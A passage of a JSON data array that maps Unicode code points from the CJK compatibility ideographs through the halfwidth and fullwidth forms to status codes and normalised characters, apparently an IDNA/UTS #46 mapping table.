癩"],[63759,1,"羅"],[63760,1,"蘿"],[63761,1,"螺"],[63762,1,"裸"],[63763,1,"邏"],[63764,1,"樂"],[63765,1,"洛"],[63766,1,"烙"],[63767,1,"珞"],[63768,1,"落"],[63769,1,"酪"],[63770,1,"駱"],[63771,1,"亂"],[63772,1,"卵"],[63773,1,"欄"],[63774,1,"爛"],[63775,1,"蘭"],[63776,1,"鸞"],[63777,1,"嵐"],[63778,1,"濫"],[63779,1,"藍"],[63780,1,"襤"],[63781,1,"拉"],[63782,1,"臘"],[63783,1,"蠟"],[63784,1,"廊"],[63785,1,"朗"],[63786,1,"浪"],[63787,1,"狼"],[63788,1,"郎"],[63789,1,"來"],[63790,1,"冷"],[63791,1,"勞"],[63792,1,"擄"],[63793,1,"櫓"],[63794,1,"爐"],[63795,1,"盧"],[63796,1,"老"],[63797,1,"蘆"],[63798,1,"虜"],[63799,1,"路"],[63800,1,"露"],[63801,1,"魯"],[63802,1,"鷺"],[63803,1,"碌"],[63804,1,"祿"],[63805,1,"綠"],[63806,1,"菉"],[63807,1,"錄"],[63808,1,"鹿"],[63809,1,"論"],[63810,1,"壟"],[63811,1,"弄"],[63812,1,"籠"],[63813,1,"聾"],[63814,1,"牢"],[63815,1,"磊"],[63816,1,"賂"],[63817,1,"雷"],[63818,1,"壘"],[63819,1,"屢"],[63820,1,"樓"],[63821,1,"淚"],[63822,1,"漏"],[63823,1,"累"],[63824,1,"縷"],[63825,1,"陋"],[63826,1,"勒"],[63827,1,"肋"],[63828,1,"凜"],[63829,1,"凌"],[63830,1,"稜"],[63831,1,"綾"],[63832,1,"菱"],[63833,1,"陵"],[63834,1,"讀"],[63835,1,"拏"],[63836,1,"樂"],[63837,1,"諾"],[63838,1,"丹"],[63839,1,"寧"],[63840,1,"怒"],[63841,1,"率"],[63842,1,"異"],[63843,1,"北"],[63844,1,"磻"],[63845,1,"便"],[63846,1,"復"],[63847,1,"不"],[63848,1,"泌"],[63849,1,"數"],[63850,1,"索"],[63851,1,"參"],[63852,1,"塞"],[63853,1,"省"],[63854,1,"葉"],[63855,1,"說"],[63856,1,"殺"],[63857,1,"辰"],[63858,1,"沈"],[63859,1,"拾"],[63860,1,"若"],[63861,1,"掠"],[63862,1,"略"],[63863,1,"亮"],[63864,1,"兩"],[63865,1,"凉"],[63866,1,"梁"],[63867,1,"糧"],[63868,1,"良"],[63869,1,"諒"],[63870,1,"量"],[63871,1,"勵"],[63872,1,"呂"],[63873,1,"女"],[63874,1,"廬"],[63875,1,"旅"],[63876,1,"濾"],[63877,1,"礪"],[63878,1,"閭"],[63879,1,"驪"],[63880,1,"麗"],[63881,1,"黎"],[63882,1,"力"],[63883,1,"曆"],[63884,1,"歷"],[63885,1,"轢"],[63886,1,"年"],[63887,1,"憐"],[63888,1,"戀"],[63889,1,"撚"],[63890,1,"漣"],[63891,1,"煉"],[63892,1,"璉"],[63893,1,"秊"],[63894,1,"練"],[63895,1,"聯"],[63896,1,"輦"],[63897,1,"蓮"],[63898,1,"連"],[63899,1,"鍊"],[63900,1,"列"],[63901,1,"劣"],[63902,1,"咽"],[63903,1,"烈"],[63904,1,"裂"],[63905,1,"說"],[63906,1,"廉"],[63907,1,"念"],[63908,1,"捻"],[63909,1,"殮"],[63910,1,"簾"],[63911,1,"獵"],[63912,1,"令"],[63913,1,"囹"],[63914,1,"寧"],[63915,1,"嶺"],[63916,1,"怜"],[63917,1,"玲"],[63918,1,"瑩"],[63919,1,"羚"],[63920,1,"聆"],[63921,1,"鈴"],[63922,1,"零"],[63923,1,"靈"],[63924,1,"領"],[63925,1,"例"],[63926,1,"禮"],[63927,1,"醴"],[63928,1,"隸"],[63929,1,"惡"],[63930,1,"了"],[63931,1,"僚"],[63932,1,"寮"],[63933,1,"尿"],[63934,1,"料"],[63935,1,"樂"],[63936,1,"燎"],[63937,1,"療"],[63938,1,"蓼"],[63939,1,"遼"],[63940,1,"龍"],[63941,1,"暈"],[63942,1,"阮"],[63943,1,"劉"],[63944,1,"杻"],[63945,1,"柳"],[63946,1,"流"],[63947,1,"溜"],[63948,1,"琉"],[63949,1,"留"],[63950,1,"硫"],[63951,1,"紐"],[63952,1,"類"],[63953,1,"六"],[63954,1,"戮"],[63955,1,"陸"],[63956,1,"倫"],[63957,1,"崙"],[63958,1,"淪"],[63959,1,"輪"],[63960,1,"律"],[63961,1,"慄"],[63962,1,"栗"],[63963,1,"率"],[63964,1,"隆"],[63965,1,"利"],[63966,1,"吏"],[63967,1,"履"],[63968,1,"易"],[63969,1,"李"],[63970,1,"梨"],[63971,1,"泥"],[63972,1,"理"],[63973,1,"痢"],[63974,1,"罹"],[63975,1,"裏"],[63976,1,"裡"],[63977,1,"里"],[63978,1,"離"],[63979,1,"匿"],[63980,1,"溺"],[63981,1,"吝"],[63982,1,"燐"],[63983,1,"璘"],[63984,1,"藺"],[63985,1,"隣"],[63986,1,"鱗"],[63987,1,"麟"],[63988,1,"林"],[63989,1,"淋"],[63990,1,"臨"],[63991,1,"立"],[63992,1,"笠"],[63993,1,"粒"],[63994,1,"狀"],[63995,1,"炙"],[63996,1,"識"],[63997,1,"什"],[63998,1,"茶"],[63999,1,"刺"],[64000,1,"切"],[64001,1,"度"],[64002,1,"拓"],[64003,1,"糖"],[64004,1,"宅"],[64005,1,"洞"],[64006,1,"暴"],[64007,1,"輻"],[64008,1,"行"],[64009,1,"降"],[64010,1,"見"],[64011,1,"廓"],[64012,1,"兀"],[64013,1,"嗀"],[[64014,64015],2],[64016,1,"塚"],[64017,2],[64018,1,"晴"],[[64019,64020],2],[64021,1,"凞"],[64022,1,"猪"],[64023,1,"益"],[64024,1,"礼"],[64025,1,"神"],[64026,1,"祥"],[64027,1,"福"],[64028,1,"靖"],[64029,1,"精"],[64030,1,"羽"],[64031,2],[64032,1,"蘒"],[64033,2],[64034,1,"諸"],[[64035,64036],2],[64037,1,"逸"],[64038,1,"都"],[[64039,64041],2],[64042,1,"飯"],[64043,1,"飼"],[64044,1,"館"],[64045,1,"鶴"],[64046,1,"郞"],[64047,1,"隷"],[64048,1,"侮"],[64049,1,"僧"],[64050,1,"免"],[64051,1,"勉"],[64052,1,"勤"],[64053,1,"卑"],[64054,1,"喝"],[64055,1,"嘆"],[64056,1,"器"],[64057,1,"塀"],[64058,1,"墨"],[64059,1,"層"],[64060,1,"屮"],[64061,1,"悔"],[64062,1,"慨"],[64063,1,"憎"],[64064,1,"懲"],[64065,1,"敏"],[64066,1,"既"],[64067,1,"暑"],[64068,1,"梅"],[64069,1,"海"],[64070,1,"渚"],[64071,1,"漢"],[64072,1,"煮"],[64073,1,"爫"],[64074,1,"琢"],[64075,1,"碑"],[64076,1,"社"],[64077,1,"祉"],[64078,1,"祈"],[64079,1,"祐"],[64080,1,"祖"],[64081,1,"祝"],[64082,1,"禍"],[64083,1,"禎"],[64084,1,"穀"],[64085,1,"突"],[64086,1,"節"],[64087,1,"練"],[64088,1,"縉"],[64089,1,"繁"],[64090,1,"署"],[64091,1,"者"],[64092,1,"臭"],[[64093,64094],1,"艹"],[64095,1,"著"],[64096,1,"褐"],[64097,1,"視"],[64098,1,"謁"],[64099,1,"謹"],[64100,1,"賓"],[64101,1,"贈"],[64102,1,"辶"],[64103,1,"逸"],[64104,1,"難"],[64105,1,"響"],[64106,1,"頻"],[64107,1,"恵"],[64108,1,"𤋮"],[64109,1,"舘"],[[64110,64111],3],[64112,1,"並"],[64113,1,"况"],[64114,1,"全"],[64115,1,"侀"],[64116,1,"充"],[64117,1,"冀"],[64118,1,"勇"],[64119,1,"勺"],[64120,1,"喝"],[64121,1,"啕"],[64122,1,"喙"],[64123,1,"嗢"],[64124,1,"塚"],[64125,1,"墳"],[64126,1,"奄"],[64127,1,"奔"],[64128,1,"婢"],[64129,1,"嬨"],[64130,1,"廒"],[64131,1,"廙"],[64132,1,"彩"],[64133,1,"徭"],[64134,1,"惘"],[64135,1,"慎"],[64136,1,"愈"],[64137,1,"憎"],[64138,1,"慠"],[64139,1,"懲"],[64140,1,"戴"],[64141,1,"揄"],[64142,1,"搜"],[64143,1,"摒"],[64144,1,"敖"],[64145,1,"晴"],[64146,1,"朗"],[64147,1,"望"],[64148,1,"杖"],[64149,1,"歹"],[64150,1,"殺"],[64151,1,"流"],[64152,1,"滛"],[64153,1,"滋"],[64154,1,"漢"],[64155,1,"瀞"],[64156,1,"煮"],[64157,1,"瞧"],[64158,1,"爵"],[64159,1,"犯"],[64160,1,"猪"],[64161,1,"瑱"],[64162,1,"甆"],[64163,1,"画"],[64164,1,"瘝"],[64165,1,"瘟"],[64166,1,"益"],[64167,1,"盛"],[64168,1,"直"],[64169,1,"睊"],[64170,1,"着"],[64171,1,"磌"],[64172,1,"窱"],[64173,1,"節"],[64174,1,"类"],[64175,1,"絛"],[64176,1,"練"],[64177,1,"缾"],[64178,1,"者"],[64179,1,"荒"],[64180,1,"華"],[64181,1,"蝹"],[64182,1,"襁"],[64183,1,"覆"],[64184,1,"視"],[64185,1,"調"],[64186,1,"諸"],[64187,1,"請"],[64188,1,"謁"],[64189,1,"諾"],[64190,1,"諭"],[64191,1,"謹"],[64192,1,"變"],[64193,1,"贈"],[64194,1,"輸"],[64195,1,"遲"],[64196,1,"醙"],[64197,1,"鉶"],[64198,1,"陼"],[64199,1,"難"],[64200,1,"靖"],[64201,1,"韛"],[64202,1,"響"],[64203,1,"頋"],[64204,1,"頻"],[64205,1,"鬒"],[64206,1,"龜"],[64207,1,"𢡊"],[64208,1,"𢡄"],[64209,1,"𣏕"],[64210,1,"㮝"],[64211,1,"䀘"],[64212,1,"䀹"],[64213,1,"𥉉"],[64214,1,"𥳐"],[64215,1,"𧻓"],[64216,1,"齃"],[64217,1,"龎"],[[64218,64255],3],[64256,1,"ff"],[64257,1,"fi"],[64258,1,"fl"],[64259,1,"ffi"],[64260,1,"ffl"],[[64261,64262],1,"st"],[[64263,64274],3],[64275,1,"մն"],[64276,1,"մե"],[64277,1,"մի"],[64278,1,"վն"],[64279,1,"մխ"],[[64280,64284],3],[64285,1,"יִ"],[64286,2],[64287,1,"ײַ"],[64288,1,"ע"],[64289,1,"א"],[64290,1,"ד"],[64291,1,"ה"],[64292,1,"כ"],[64293,1,"ל"],[64294,1,"ם"],[64295,1,"ר"],[64296,1,"ת"],[64297,5,"+"],[64298,1,"שׁ"],[64299,1,"שׂ"],[64300,1,"שּׁ"],[64301,1,"שּׂ"],[64302,1,"אַ"],[64303,1,"אָ"],[64304,1,"אּ"],[64305,1,"בּ"],[64306,1,"גּ"],[64307,1,"דּ"],[64308,1,"הּ"],[64309,1,"וּ"],[64310,1,"זּ"],[64311,3],[64312,1,"טּ"],[64313,1,"יּ"],[64314,1,"ךּ"],[64315,1,"כּ"],[64316,1,"לּ"],[64317,3],[64318,1,"מּ"],[64319,3],[64320,1,"נּ"],[64321,1,"סּ"],[64322,3],[64323,1,"ףּ"],[64324,1,"פּ"],[64325,3],[64326,1,"צּ"],[64327,1,"קּ"],[64328,1,"רּ"],[64329,1,"שּ"],[64330,1,"תּ"],[64331,1,"וֹ"],[64332,1,"בֿ"],[64333,1,"כֿ"],[64334,1,"פֿ"],[64335,1,"אל"],[[64336,64337],1,"ٱ"],[[64338,64341],1,"ٻ"],[[64342,64345],1,"پ"],[[64346,64349],1,"ڀ"],[[64350,64353],1,"ٺ"],[[64354,64357],1,"ٿ"],[[64358,64361],1,"ٹ"],[[64362,64365],1,"ڤ"],[[64366,64369],1,"ڦ"],[[64370,64373],1,"ڄ"],[[64374,64377],1,"ڃ"],[[64378,64381],1,"چ"],[[64382,64385],1,"ڇ"],[[64386,64387],1,"ڍ"],[[64388,64389],1,"ڌ"],[[64390,64391],1,"ڎ"],[[64392,64393],1,"ڈ"],[[64394,64395],1,"ژ"],[[64396,64397],1,"ڑ"],[[64398,64401],1,"ک"],[[64402,64405],1,"گ"],[[64406,64409],1,"ڳ"],[[64410,64413],1,"ڱ"],[[64414,64415],1,"ں"],[[64416,64419],1,"ڻ"],[[64420,64421],1,"ۀ"],[[64422,64425],1,"ہ"],[[64426,64429],1,"ھ"],[[64430,64431],1,"ے"],[[64432,64433],1,"ۓ"],[[64434,64449],2],[64450,2],[[64451,64466],3],[[64467,64470],1,"ڭ"],[[64471,64472],1,"ۇ"],[[64473,64474],1,"ۆ"],[[64475,64476],1,"ۈ"],[64477,1,"ۇٴ"],[[64478,64479],1,"ۋ"],[[64480,64481],1,"ۅ"],[[64482,64483],1,"ۉ"],[[64484,64487],1,"ې"],[[64488,64489],1,"ى"],[[64490,64491],1,"ئا"],[[64492,64493],1,"ئە"],[[64494,64495],1,"ئو"],[[64496,64497],1,"ئۇ"],[[64498,64499],1,"ئۆ"],[[64500,64501],1,"ئۈ"],[[64502,64504],1,"ئې"],[[64505,64507],1,"ئى"],[[64508,64511],1,"ی"],[64512,1,"ئج"],[64513,1,"ئح"],[64514,1,"ئم"],[64515,1,"ئى"],[64516,1,"ئي"],[64517,1,"بج"],[64518,1,"بح"],[64519,1,"بخ"],[64520,1,"بم"],[64521,1,"بى"],[64522,1,"بي"],[64523,1,"تج"],[64524,1,"تح"],[64525,1,"تخ"],[64526,1,"تم"],[64527,1,"تى"],[64528,1,"تي"],[64529,1,"ثج"],[64530,1,"ثم"],[64531,1,"ثى"],[64532,1,"ثي"],[64533,1,"جح"],[64534,1,"جم"],[64535,1,"حج"],[64536,1,"حم"],[64537,1,"خج"],[64538,1,"خح"],[64539,1,"خم"],[64540,1,"سج"],[64541,1,"سح"],[64542,1,"سخ"],[64543,1,"سم"],[64544,1,"صح"],[64545,1,"صم"],[64546,1,"ضج"],[64547,1,"ضح"],[64548,1,"ضخ"],[64549,1,"ضم"],[64550,1,"طح"],[64551,1,"طم"],[64552,1,"ظم"],[64553,1,"عج"],[64554,1,"عم"],[64555,1,"غج"],[64556,1,"غم"],[64557,1,"فج"],[64558,1,"فح"],[64559,1,"فخ"],[64560,1,"فم"],[64561,1,"فى"],[64562,1,"في"],[64563,1,"قح"],[64564,1,"قم"],[64565,1,"قى"],[64566,1,"قي"],[64567,1,"كا"],[64568,1,"كج"],[64569,1,"كح"],[64570,1,"كخ"],[64571,1,"كل"],[64572,1,"كم"],[64573,1,"كى"],[64574,1,"كي"],[64575,1,"لج"],[64576,1,"لح"],[64577,1,"لخ"],[64578,1,"لم"],[64579,1,"لى"],[64580,1,"لي"],[64581,1,"مج"],[64582,1,"مح"],[64583,1,"مخ"],[64584,1,"مم"],[64585,1,"مى"],[64586,1,"مي"],[64587,1,"نج"],[64588,1,"نح"],[64589,1,"نخ"],[64590,1,"نم"],[64591,1,"نى"],[64592,1,"ني"],[64593,1,"هج"],[64594,1,"هم"],[64595,1,"هى"],[64596,1,"هي"],[64597,1,"يج"],[64598,1,"يح"],[64599,1,"يخ"],[64600,1,"يم"],[64601,1,"يى"],[64602,1,"يي"],[64603,1,"ذٰ"],[64604,1,"رٰ"],[64605,1,"ىٰ"],[64606,5," ٌّ"],[64607,5," ٍّ"],[64608,5," َّ"],[64609,5," ُّ"],[64610,5," ِّ"],[64611,5," ّٰ"],[64612,1,"ئر"],[64613,1,"ئز"],[64614,1,"ئم"],[64615,1,"ئن"],[64616,1,"ئى"],[64617,1,"ئي"],[64618,1,"بر"],[64619,1,"بز"],[64620,1,"بم"],[64621,1,"بن"],[64622,1,"بى"],[64623,1,"بي"],[64624,1,"تر"],[64625,1,"تز"],[64626,1,"تم"],[64627,1,"تن"],[64628,1,"تى"],[64629,1,"تي"],[64630,1,"ثر"],[64631,1,"ثز"],[64632,1,"ثم"],[64633,1,"ثن"],[64634,1,"ثى"],[64635,1,"ثي"],[64636,1,"فى"],[64637,1,"في"],[64638,1,"قى"],[64639,1,"قي"],[64640,1,"كا"],[64641,1,"كل"],[64642,1,"كم"],[64643,1,"كى"],[64644,1,"كي"],[64645,1,"لم"],[64646,1,"لى"],[64647,1,"لي"],[64648,1,"ما"],[64649,1,"مم"],[64650,1,"نر"],[64651,1,"نز"],[64652,1,"نم"],[64653,1,"نن"],[64654,1,"نى"],[64655,1,"ني"],[64656,1,"ىٰ"],[64657,1,"ير"],[64658,1,"يز"],[64659,1,"يم"],[64660,1,"ين"],[64661,1,"يى"],[64662,1,"يي"],[64663,1,"ئج"],[64664,1,"ئح"],[64665,1,"ئخ"],[64666,1,"ئم"],[64667,1,"ئه"],[64668,1,"بج"],[64669,1,"بح"],[64670,1,"بخ"],[64671,1,"بم"],[64672,1,"به"],[64673,1,"تج"],[64674,1,"تح"],[64675,1,"تخ"],[64676,1,"تم"],[64677,1,"ته"],[64678,1,"ثم"],[64679,1,"جح"],[64680,1,"جم"],[64681,1,"حج"],[64682,1,"حم"],[64683,1,"خج"],[64684,1,"خم"],[64685,1,"سج"],[64686,1,"سح"],[64687,1,"سخ"],[64688,1,"سم"],[64689,1,"صح"],[64690,1,"صخ"],[64691,1,"صم"],[64692,1,"ضج"],[64693,1,"ضح"],[64694,1,"ضخ"],[64695,1,"ضم"],[64696,1,"طح"],[64697,1,"ظم"],[64698,1,"عج"],[64699,1,"عم"],[64700,1,"غج"],[64701,1,"غم"],[64702,1,"فج"],[64703,1,"فح"],[64704,1,"فخ"],[64705,1,"فم"],[64706,1,"قح"],[64707,1,"قم"],[64708,1,"كج"],[64709,1,"كح"],[64710,1,"كخ"],[64711,1,"كل"],[64712,1,"كم"],[64713,1,"لج"],[64714,1,"لح"],[64715,1,"لخ"],[64716,1,"لم"],[64717,1,"له"],[64718,1,"مج"],[64719,1,"مح"],[64720,1,"مخ"],[64721,1,"مم"],[64722,1,"نج"],[64723,1,"نح"],[64724,1,"نخ"],[64725,1,"نم"],[64726,1,"نه"],[64727,1,"هج"],[64728,1,"هم"],[64729,1,"هٰ"],[64730,1,"يج"],[64731,1,"يح"],[64732,1,"يخ"],[64733,1,"يم"],[64734,1,"يه"],[64735,1,"ئم"],[64736,1,"ئه"],[64737,1,"بم"],[64738,1,"به"],[64739,1,"تم"],[64740,1,"ته"],[64741,1,"ثم"],[64742,1,"ثه"],[64743,1,"سم"],[64744,1,"سه"],[64745,1,"شم"],[64746,1,"شه"],[64747,1,"كل"],[64748,1,"كم"],[64749,1,"لم"],[64750,1,"نم"],[64751,1,"نه"],[64752,1,"يم"],[64753,1,"يه"],[64754,1,"ـَّ"],[64755,1,"ـُّ"],[64756,1,"ـِّ"],[64757,1,"طى"],[64758,1,"طي"],[64759,1,"عى"],[64760,1,"عي"],[64761,1,"غى"],[64762,1,"غي"],[64763,1,"سى"],[64764,1,"سي"],[64765,1,"شى"],[64766,1,"شي"],[64767,1,"حى"],[64768,1,"حي"],[64769,1,"جى"],[64770,1,"جي"],[64771,1,"خى"],[64772,1,"خي"],[64773,1,"صى"],[64774,1,"صي"],[64775,1,"ضى"],[64776,1,"ضي"],[64777,1,"شج"],[64778,1,"شح"],[64779,1,"شخ"],[64780,1,"شم"],[64781,1,"شر"],[64782,1,"سر"],[64783,1,"صر"],[64784,1,"ضر"],[64785,1,"طى"],[64786,1,"طي"],[64787,1,"عى"],[64788,1,"عي"],[64789,1,"غى"],[64790,1,"غي"],[64791,1,"سى"],[64792,1,"سي"],[64793,1,"شى"],[64794,1,"شي"],[64795,1,"حى"],[64796,1,"حي"],[64797,1,"جى"],[64798,1,"جي"],[64799,1,"خى"],[64800,1,"خي"],[64801,1,"صى"],[64802,1,"صي"],[64803,1,"ضى"],[64804,1,"ضي"],[64805,1,"شج"],[64806,1,"شح"],[64807,1,"شخ"],[64808,1,"شم"],[64809,1,"شر"],[64810,1,"سر"],[64811,1,"صر"],[64812,1,"ضر"],[64813,1,"شج"],[64814,1,"شح"],[64815,1,"شخ"],[64816,1,"شم"],[64817,1,"سه"],[64818,1,"شه"],[64819,1,"طم"],[64820,1,"سج"],[64821,1,"سح"],[64822,1,"سخ"],[64823,1,"شج"],[64824,1,"شح"],[64825,1,"شخ"],[64826,1,"طم"],[64827,1,"ظم"],[[64828,64829],1,"اً"],[[64830,64831],2],[[64832,64847],2],[64848,1,"تجم"],[[64849,64850],1,"تحج"],[64851,1,"تحم"],[64852,1,"تخم"],[64853,1,"تمج"],[64854,1,"تمح"],[64855,1,"تمخ"],[[64856,64857],1,"جمح"],[64858,1,"حمي"],[64859,1,"حمى"],[64860,1,"سحج"],[64861,1,"سجح"],[64862,1,"سجى"],[[64863,64864],1,"سمح"],[64865,1,"سمج"],[[64866,64867],1,"سمم"],[[64868,64869],1,"صحح"],[64870,1,"صمم"],[[64871,64872],1,"شحم"],[64873,1,"شجي"],[[64874,64875],1,"شمخ"],[[64876,64877],1,"شمم"],[64878,1,"ضحى"],[[64879,64880],1,"ضخم"],[[64881,64882],1,"طمح"],[64883,1,"طمم"],[64884,1,"طمي"],[64885,1,"عجم"],[[64886,64887],1,"عمم"],[64888,1,"عمى"],[64889,1,"غمم"],[64890,1,"غمي"],[64891,1,"غمى"],[[64892,64893],1,"فخم"],[64894,1,"قمح"],[64895,1,"قمم"],[64896,1,"لحم"],[64897,1,"لحي"],[64898,1,"لحى"],[[64899,64900],1,"لجج"],[[64901,64902],1,"لخم"],[[64903,64904],1,"لمح"],[64905,1,"محج"],[64906,1,"محم"],[64907,1,"محي"],[64908,1,"مجح"],[64909,1,"مجم"],[64910,1,"مخج"],[64911,1,"مخم"],[[64912,64913],3],[64914,1,"مجخ"],[64915,1,"همج"],[64916,1,"همم"],[64917,1,"نحم"],[64918,1,"نحى"],[[64919,64920],1,"نجم"],[64921,1,"نجى"],[64922,1,"نمي"],[64923,1,"نمى"],[[64924,64925],1,"يمم"],[64926,1,"بخي"],[64927,1,"تجي"],[64928,1,"تجى"],[64929,1,"تخي"],[64930,1,"تخى"],[64931,1,"تمي"],[64932,1,"تمى"],[64933,1,"جمي"],[64934,1,"جحى"],[64935,1,"جمى"],[64936,1,"سخى"],[64937,1,"صحي"],[64938,1,"شحي"],[64939,1,"ضحي"],[64940,1,"لجي"],[64941,1,"لمي"],[64942,1,"يحي"],[64943,1,"يجي"],[64944,1,"يمي"],[64945,1,"ممي"],[64946,1,"قمي"],[64947,1,"نحي"],[64948,1,"قمح"],[64949,1,"لحم"],[64950,1,"عمي"],[64951,1,"كمي"],[64952,1,"نجح"],[64953,1,"مخي"],[64954,1,"لجم"],[64955,1,"كمم"],[64956,1,"لجم"],[64957,1,"نجح"],[64958,1,"جحي"],[64959,1,"حجي"],[64960,1,"مجي"],[64961,1,"فمي"],[64962,1,"بحي"],[64963,1,"كمم"],[64964,1,"عجم"],[64965,1,"صمم"],[64966,1,"سخي"],[64967,1,"نجي"],[[64968,64974],3],[64975,2],[[64976,65007],3],[65008,1,"صلے"],[65009,1,"قلے"],[65010,1,"الله"],[65011,1,"اكبر"],[65012,1,"محمد"],[65013,1,"صلعم"],[65014,1,"رسول"],[65015,1,"عليه"],[65016,1,"وسلم"],[65017,1,"صلى"],[65018,5,"صلى الله عليه وسلم"],[65019,5,"جل جلاله"],[65020,1,"ریال"],[65021,2],[[65022,65023],2],[[65024,65039],7],[65040,5,","],[65041,1,"、"],[65042,3],[65043,5,":"],[65044,5,";"],[65045,5,"!"],[65046,5,"?"],[65047,1,"〖"],[65048,1,"〗"],[65049,3],[[65050,65055],3],[[65056,65059],2],[[65060,65062],2],[[65063,65069],2],[[65070,65071],2],[65072,3],[65073,1,"—"],[65074,1,"–"],[[65075,65076],5,"_"],[65077,5,"("],[65078,5,")"],[65079,5,"{"],[65080,5,"}"],[65081,1,"〔"],[65082,1,"〕"],[65083,1,"【"],[65084,1,"】"],[65085,1,"《"],[65086,1,"》"],[65087,1,"〈"],[65088,1,"〉"],[65089,1,"「"],[65090,1,"」"],[65091,1,"『"],[65092,1,"』"],[[65093,65094],2],[65095,5,"["],[65096,5,"]"],[[65097,65100],5," ̅"],[[65101,65103],5,"_"],[65104,5,","],[65105,1,"、"],[65106,3],[65107,3],[65108,5,";"],[65109,5,":"],[65110,5,"?"],[65111,5,"!"],[65112,1,"—"],[65113,5,"("],[65114,5,")"],[65115,5,"{"],[65116,5,"}"],[65117,1,"〔"],[65118,1,"〕"],[65119,5,"#"],[65120,5,"&"],[65121,5,"*"],[65122,5,"+"],[65123,1,"-"],[65124,5,"<"],[65125,5,">"],[65126,5,"="],[65127,3],[65128,5,"\\"],[65129,5,"$"],[65130,5,"%"],[65131,5,"@"],[[65132,65135],3],[65136,5," ً"],[65137,1,"ـً"],[65138,5," ٌ"],[65139,2],[65140,5," ٍ"],[65141,3],[65142,5," َ"],[65143,1,"ـَ"],[65144,5," ُ"],[65145,1,"ـُ"],[65146,5," ِ"],[65147,1,"ـِ"],[65148,5," ّ"],[65149,1,"ـّ"],[65150,5," ْ"],[65151,1,"ـْ"],[65152,1,"ء"],[[65153,65154],1,"آ"],[[65155,65156],1,"أ"],[[65157,65158],1,"ؤ"],[[65159,65160],1,"إ"],[[65161,65164],1,"ئ"],[[65165,65166],1,"ا"],[[65167,65170],1,"ب"],[[65171,65172],1,"ة"],[[65173,65176],1,"ت"],[[65177,65180],1,"ث"],[[65181,65184],1,"ج"],[[65185,65188],1,"ح"],[[65189,65192],1,"خ"],[[65193,65194],1,"د"],[[65195,65196],1,"ذ"],[[65197,65198],1,"ر"],[[65199,65200],1,"ز"],[[65201,65204],1,"س"],[[65205,65208],1,"ش"],[[65209,65212],1,"ص"],[[65213,65216],1,"ض"],[[65217,65220],1,"ط"],[[65221,65224],1,"ظ"],[[65225,65228],1,"ع"],[[65229,65232],1,"غ"],[[65233,65236],1,"ف"],[[65237,65240],1,"ق"],[[65241,65244],1,"ك"],[[65245,65248],1,"ل"],[[65249,65252],1,"م"],[[65253,65256],1,"ن"],[[65257,65260],1,"ه"],[[65261,65262],1,"و"],[[65263,65264],1,"ى"],[[65265,65268],1,"ي"],[[65269,65270],1,"لآ"],[[65271,65272],1,"لأ"],[[65273,65274],1,"لإ"],[[65275,65276],1,"لا"],[[65277,65278],3],[65279,7],[65280,3],[65281,5,"!"],[65282,5,"\""],[65283,5,"#"],[65284,5,"$"],[65285,5,"%"],[65286,5,"&"],[65287,5,"'"],[65288,5,"("],[65289,5,")"],[65290,5,"*"],[65291,5,"+"],[65292,5,","],[65293,1,"-"],[65294,1,"."],[65295,5,"/"],[65296,1,"0"],[65297,1,"1"],[65298,1,"2"],[65299,1,"3"],[65300,1,"4"],[65301,1,"5"],[65302,1,"6"],[65303,1,"7"],[65304,1,"8"],[65305,1,"9"],[65306,5,":"],[65307,5,";"],[65308,5,"<"],[65309,5,"="],[65310,5,">"],[65311,5,"?"],[65312,5,"@"],[65313,1,"a"],[65314,1,"b"],[65315,1,"c"],[65316,1,"d"],[65317,1,"e"],[65318,1,"f"],[65319,1,"g"],[65320,1,"h"],[65321,1,"i"],[65322,1,"j"],[65323,1,"k"],[65324,1,"l"],[65325,1,"m"],[65326,1,"n"],[65327,1,"o"],[65328,1,"p"],[65329,1,"q"],[65330,1,"r"],[65331,1,"s"],[65332,1,"t"],[65333,1,"u"],[65334,1,"v"],[65335,1,"w"],[65336,1,"x"],[65337,1,"y"],[65338,1,"z"],[65339,5,"["],[65340,5,"\\"],[65341,5,"]"],[65342,5,"^"],[65343,5,"_"],[65344,5,"`"],[65345,1,"a"],[65346,1,"b"],[65347,1,"c"],[65348,1,"d"],[65349,1,"e"],[65350,1,"f"],[65351,1,"g"],[65352,1,"h"],[65353,1,"i"],[65354,1,"j"],[65355,1,"k"],[65356,1,"l"],[65357,1,"m"],[65358,1,"n"],[65359,1,"o"],[65360,1,"p"],[65361,1,"q"],[65362,1,"r"],[65363,1,"s"],[65364,1,"t"],[65365,1,"u"],[65366,1,"v"],[65367,1,"w"],[65368,1,"x"],[65369,1,"y"],[65370,1,"z"],[65371,5,"{"],[65372,5,"|"],[65373,5,"}"],[65374,5,"~"],[65375,1,"⦅"],[65376,1,"⦆"],[65377,1,"."],[65378,1,"「"],[65379,1,"」"],[65380,1,"、"],[65381,1,"・"],[65382,1,"ヲ"],[65383,1,"ァ"],[65384,1,"ィ"],[65385,1,"ゥ"],[65386,1,"ェ"],[65387,1,"ォ"],[65388,1,"ャ"],[65389,1,"ュ"],[65390,1,"ョ"],[65391,1,"ッ"],[65392,1,"ー"],[65393,1,"ア"],[65394,1,"イ"],[65395,1,"ウ"],[65396,1,"エ"],[65397,1,"オ"],[65398,1,"カ"],[65399,1,"キ"],[65400,1,"ク"],[65401,1,"ケ"],[65402,1,"コ"],[65403,1,"サ"],[65404,1,"シ"],[65405,1,"ス"],[65406,1,"セ"],[65407,1,"ソ"],[65408,1,"タ"],[65409,1,"チ"],[65410,1,"ツ"],[65411,1,"テ"],[65412,1,"ト"],[65413,1,"ナ"],[65414,1,"ニ"],[65415,1,"ヌ"],[65416,1,"ネ"],[65417,1,"ノ"],[65418,1,"ハ"],[65419,1,"ヒ"],[65420,1,"フ"],[65421,1,"ヘ"],[65422,1,"ホ"],[65423,1,"マ"],[65424,1,"ミ"],[65425,1,"ム"],[65426,1,"メ"],[65427,1,"モ"],[65428,1,"ヤ"],[65429,1,"ユ"],[65430,1,"ヨ"],[65431,1,"ラ"],[65432,1,"リ"],[65433,1,"ル"],[65434,1,"レ"],[65435,1,"ロ"],[65436,1,"ワ"],[65437,1,"ン"],[65438,1,"゙"],[65439,1,"゚"],[65440,3],[65441,1,"ᄀ"],[65442,1,"ᄁ"],[65443,1,"ᆪ"],[65444,1,"ᄂ"],[65445,1,"ᆬ"],[65446,1,"ᆭ"],[65447,1,"ᄃ"],[65448,1,"ᄄ"],[65449,1,"ᄅ"],[65450,1,"ᆰ"],[65451,1,"ᆱ"],[65452,1,"ᆲ"],[65453,1,"ᆳ"],[65454,1,"ᆴ"],[65455,1,"ᆵ"],[65456,1,"ᄚ"],[65457,1,"ᄆ"],[65458,1,"